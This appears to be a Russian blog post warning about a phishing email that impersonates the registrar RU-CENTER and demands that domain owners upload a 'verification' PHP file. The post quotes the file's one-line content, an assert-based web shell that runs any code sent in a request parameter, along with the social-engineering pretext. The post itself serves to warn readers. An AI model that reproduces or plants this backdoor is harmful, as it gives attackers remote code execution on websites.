Как стать автором
Обновить

Развод как он есть (или «подтверждение подтверждению рознь!»)

Время на прочтение1 мин
Количество просмотров16K
Давно мне не попадалось такого красивого социального развода на действие (см. под катом). На фоне истории с блокировками и вообще затягивания гаек тем более приятно видеть, что кто-то сумел суровым тоном такое написать — ведь отдельные граждане и поведутся!

image

Мне думается, shared хостингам пора начинать фильтровать передаваемые в скрипты переменные, хотя имя переменной, уверен, в каждом случае разное.

Получил в ящике, заведенном для административных целей, письмо якобы от имени RU-CENTER, со следующим текстом:

Уважаемый клиент!

В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить, что управление доменным именем domain.ru осуществляется лицом, указанным в качестве его администратора.

Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом, создайте в корневой директории сайта файл kk4tamko17q83015.php со следующим содержимым:

<?php
assert(stripslashes($_REQUEST[JJIZS]));
?>

Файл должен быть создан в течение трех календарных дней с момента получения настоящего сообщения и присутствовать на сервере до 30 апреля 2018 года, 07:00 (UTC+03:00), в противном случае процедура верификации не будет пройдена.

Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, обслуживание домена будет завершено.
Письмо красиво оформлено в классическом стиле письмо и сайта nic.ru, так что внешне все выглядит весьма прилично.

По-моему, просто прекрасная акция с использованием социальной инженерии!
Только зарегистрированные пользователи могут участвовать в опросе. Войдите, пожалуйста.
Сработает ли такая атака?
28.63% Да, многие поведутся138
47.1% Да, в единичных случаях227
16.8% Нет, народ все же думает81
4.56% Нет, никто не читает письма22
2.9% Что «да» или «нет», я чуть сам не повелся!14
Проголосовали 482 пользователя. Воздержались 100 пользователей.
Теги:
Хабы:
Всего голосов 25: ↑18 и ↓7+11
Комментарии33

Публикации